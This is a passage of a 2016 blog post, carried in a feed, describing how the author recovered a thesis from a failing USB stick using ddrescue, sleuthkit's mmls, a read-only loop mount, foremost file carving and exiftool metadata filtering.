&lt;p&gt;Just for the record, the flags are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;no-trim&lt;/code&gt; disables the second phase&lt;/li&gt;
&lt;li&gt;&lt;code&gt;no-scrape&lt;/code&gt; disables the third phase&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r3&lt;/code&gt; retries each bad sector at most three times&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By default, &lt;code&gt;ddrescue&lt;/code&gt; performs the three phases at once so, why I separated the first phase from the rest two?&lt;/p&gt;
&lt;p&gt;The first will give you a first approximation probably with all the data that you need.&lt;/p&gt;
&lt;p&gt;If the disk has a lot of bad sectors, &lt;code&gt;ddrescue&lt;/code&gt; will spend a lot of time trying to recover the data in the second and third phases. When the disk has several gigabytes of size this will take a longer time (boring!). The first phase gives you a trade off between to get a result &lt;em&gt;faster but incomplete&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The rest two phases will try to complete the image and sometimes those little chunks of data recovered will be the missing pieces of the puzzle so it is worth to try those phases too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule number three:&lt;/strong&gt; try to get an incomplete piece of data to work on as soon as possible while you get the complete picture in background.&lt;/p&gt;
&lt;p&gt;In this point I prefer to take a copy of the image and the log file before doing anything else. Hashing is also a good practice so you can corroborate in the future if the image was altered. A sha1 should be enough.&lt;/p&gt;
&lt;p&gt;The image will have holes, one for each bad sector that couldn’t be recovered. Because most of the tools cannot work with images with holes we need to fill those with a custom string.&lt;/p&gt;
&lt;p&gt;Some people fill them with zeros but I found that filling them with a cookie or special string is more useful. You can later use &lt;code&gt;grep&lt;/code&gt; to search for the cookie to see which files were corrupted.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;BADxSEC!&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;badsec_mark
$&lt;span class="w"&gt; &lt;/span&gt;ddrescue&lt;span class="w"&gt; &lt;/span&gt;--fill-mode&lt;span class="o"&gt;=&lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;badsec_mark&lt;span class="w"&gt; &lt;/span&gt;sdc.img&lt;span class="w"&gt; &lt;/span&gt;sdc.ddrescue.logfile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="mounting"&gt;Mounting&lt;/h2&gt;
&lt;p&gt;To this point what we did was a clone of the entire disk, including the partition table so the next thing that we need is to check if the partition table is ok. It is important to check each value to see if it makes sense, &lt;em&gt;don’t trust in the output&lt;/em&gt; of a magical tool, use your own brain. Remember that you are reading corrupted data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule number four:&lt;/strong&gt; don’t trust in anyone.&lt;/p&gt;
&lt;p&gt;To see if the partition table is ok I used the &lt;code&gt;mmls&lt;/code&gt; tool from the &lt;code&gt;sleuthkit&lt;/code&gt; package.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mmls&lt;span class="w"&gt; &lt;/span&gt;-B&lt;span class="w"&gt; &lt;/span&gt;sdc.img
DOS&lt;span class="w"&gt; &lt;/span&gt;Partition&lt;span class="w"&gt; &lt;/span&gt;Table
Offset&lt;span class="w"&gt; &lt;/span&gt;Sector:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
Units&lt;span class="w"&gt; &lt;/span&gt;are&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;-byte&lt;span class="w"&gt; &lt;/span&gt;sectors

&lt;span class="w"&gt;      &lt;/span&gt;Slot&lt;span class="w"&gt;      &lt;/span&gt;Start&lt;span class="w"&gt;        &lt;/span&gt;End&lt;span class="w"&gt;          &lt;/span&gt;Length&lt;span class="w"&gt;       &lt;/span&gt;Description
&lt;span class="m"&gt;000&lt;/span&gt;:&lt;span class="w"&gt;  &lt;/span&gt;Meta&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;0000000000&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000000000&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000000001&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;Primary&lt;span class="w"&gt; &lt;/span&gt;Table&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="c1"&gt;#0)&lt;/span&gt;
&lt;span class="m"&gt;001&lt;/span&gt;:&lt;span class="w"&gt;  &lt;/span&gt;-------&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000000000&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000002063&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000002064&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;Unallocated
&lt;span class="m"&gt;002&lt;/span&gt;:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;000&lt;/span&gt;:000&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000002064&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0008376319&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0008374256&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;Win95&lt;span class="w"&gt; &lt;/span&gt;FAT32&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;0x0b&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This looks good, the first sector is designated to the partition table and the disk has only one FAT32 partition.&lt;/p&gt;
&lt;p&gt;The lengths are in sector terms so to know the size of the partition in bytes we can just do (8374256 * 512.0) / (1024 ^ 3) that yields 3.99 gigabytes and it makes sense given that the usb stick is of 4 gigabytes.&lt;/p&gt;
&lt;p&gt;The output of &lt;code&gt;mmls&lt;/code&gt; can be a little confusing because it is showing that the first and the second slices start both at the 0 position. So those two slices overlaps and that is wrong and could mean that the partition table is corrupt but it is not.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mmls&lt;/code&gt; can show you four things at the same time:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the allocated (&lt;code&gt;-a&lt;/code&gt;) and unallocated (&lt;code&gt;-A&lt;/code&gt;) spaces&lt;/li&gt;
&lt;li&gt;the metadata (&lt;code&gt;-m&lt;/code&gt;) and the non-metadata (&lt;code&gt;-M&lt;/code&gt;) volumes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you don’t use any of those flags, &lt;code&gt;mmls&lt;/code&gt; will show all the spaces and volumes and the concept of space and volume can overlap. To see if there is a real overlapping or not, we can see the allocated and unallocated spaces only:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mmls&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;-A&lt;span class="w"&gt; &lt;/span&gt;sdb.img
DOS&lt;span class="w"&gt; &lt;/span&gt;Partition&lt;span class="w"&gt; &lt;/span&gt;Table
Offset&lt;span class="w"&gt; &lt;/span&gt;Sector:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
Units&lt;span class="w"&gt; &lt;/span&gt;are&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;-byte&lt;span class="w"&gt; &lt;/span&gt;sectors

&lt;span class="w"&gt;      &lt;/span&gt;Slot&lt;span class="w"&gt;      &lt;/span&gt;Start&lt;span class="w"&gt;        &lt;/span&gt;End&lt;span class="w"&gt;          &lt;/span&gt;Length&lt;span class="w"&gt;       &lt;/span&gt;Description
&lt;span class="m"&gt;001&lt;/span&gt;:&lt;span class="w"&gt;  &lt;/span&gt;-------&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000000000&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000002063&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000002064&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;Unallocated
&lt;span class="m"&gt;002&lt;/span&gt;:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;000&lt;/span&gt;:000&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0000002064&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0008376319&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0008374256&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;Win95&lt;span class="w"&gt; &lt;/span&gt;FAT32&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;0x0b&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And as you can see the spaces start and end at the correct position without overlapping. So this seems to be ok.&lt;/p&gt;
&lt;p&gt;Let’s try to mount that file system:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mount&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;ro,loop,offset&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1056768&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sdc.img&lt;span class="w"&gt; &lt;/span&gt;mnt/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because the file system doesn’t start at the begin of the image file we need to calculate the offset where it really starts: start sector (2064) multiplied by the sector size (512) or just 2064 * 512 = 1056768.&lt;/p&gt;
&lt;p&gt;The mount didn’t fail so at least the file system is not &lt;em&gt;so&lt;/em&gt; damaged.&lt;/p&gt;
&lt;h2 id="trying-to-recover-the-thesis-politely"&gt;Trying to recover the thesis politely&lt;/h2&gt;
&lt;p&gt;Let’s see if any file’s data are corrupt&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;BADxSEC!&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;None file seems to be corrupt. Of course, &lt;code&gt;grep&lt;/code&gt; is not telling you the whole story.&lt;/p&gt;
&lt;p&gt;The file system doesn’t see a file as a single unit but as a serie of small blocks of data chained. Those chains are stored and can be corrupted too. If that happen the files can be missing, truncated, merged, or who-knows-what-else because the file system cannot ensemble the file from the blocks.&lt;/p&gt;
&lt;p&gt;Nevertheless, looking in the mounted file system, the thesis.docx was there, so we can try to recover it directly. It’s a docx file (a zip file) so we can try:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;zip&lt;span class="w"&gt; &lt;/span&gt;-FF&lt;span class="w"&gt; &lt;/span&gt;thesis.docx&lt;span class="w"&gt; &lt;/span&gt;--out&lt;span class="w"&gt; &lt;/span&gt;thesis.recovered.docx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But it didn’t work, only a few pages were recovered.&lt;/p&gt;
&lt;h2 id="recovering-the-thesis-harder"&gt;Recovering the thesis, harder&lt;/h2&gt;
&lt;p&gt;Trying to fix a damaged file system is not a trivial task but before even thinking about that, we may have some luck looking for an old deleted backup or a temporary file.&lt;/p&gt;
&lt;p&gt;When a file is deleted the file system will remove the link between the file and the rest of the system preventing that anyone can access it again. The space is marked as free and ready to be used by others but is not &lt;em&gt;erased&lt;/em&gt;, so the data is still there, inaccessible from the file system, but there.&lt;/p&gt;
&lt;p&gt;We can recover those deleted files easily scanning the whole image instead of using the mounted file system.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;foremost&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;zip&lt;span class="w"&gt; &lt;/span&gt;sdc.img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For the curious:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t zip&lt;/code&gt; will try to extract all the zip like files including docx ones. &lt;code&gt;foremost&lt;/code&gt; has a &lt;code&gt;-t doc&lt;/code&gt; flag but it will not work with docx files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The result? 41 files recovered. Cool! but it is 3 am of the early morning and checking one file at a time is not the best way to spend the night.&lt;/p&gt;
&lt;p&gt;Is there any way to filter them to check only a few of them?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule number five:&lt;/strong&gt; sleep. If you need to think out of the box, you had better to be rested.&lt;/p&gt;
&lt;p&gt;It’s 9 am, I have a strategy and the round two begins. &lt;em&gt;Fight!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Most of the files, including the docx files, have metadata so I thought, &lt;em&gt;“maybe I can filter the files using somes attribute in the metadata”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For that we can use a tool from the &lt;code&gt;libimage-exiftool-perl&lt;/code&gt; package&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;exiftool&lt;span class="w"&gt;  &lt;/span&gt;*.docx&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;========\|File Name\|Heading\|Title\|Pages&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;exiftool&lt;/code&gt; will extract all the metadata that it can. It’s a very complex tool with a lot of flags and options and is out of scope for this post to explain.&lt;/p&gt;
&lt;p&gt;I was expecting that some of the documents have a clue in their titles or heading but it was the amount of pages what I used as a hint. From all those documents only three had more than 50 pages.&lt;/p&gt;
&lt;p&gt;Those were three non-corrupted older versions of the thesis. In fact, one of them was only one old week.&lt;/p&gt;
&lt;p&gt;It’s 10 am we recovered the thesis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rule number six:&lt;/strong&gt; next time, do a backup.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2016/12/18/Forensics-911-recovering-thesis.html" rel="alternate" type="text/html" title="Forensics 911 - recovering a thesis of one year work"/>
    <category term="forensics" label="forensics"/>
    <published>2016-12-18T00:00:00+00:00</published>
  </entry>
</feed>
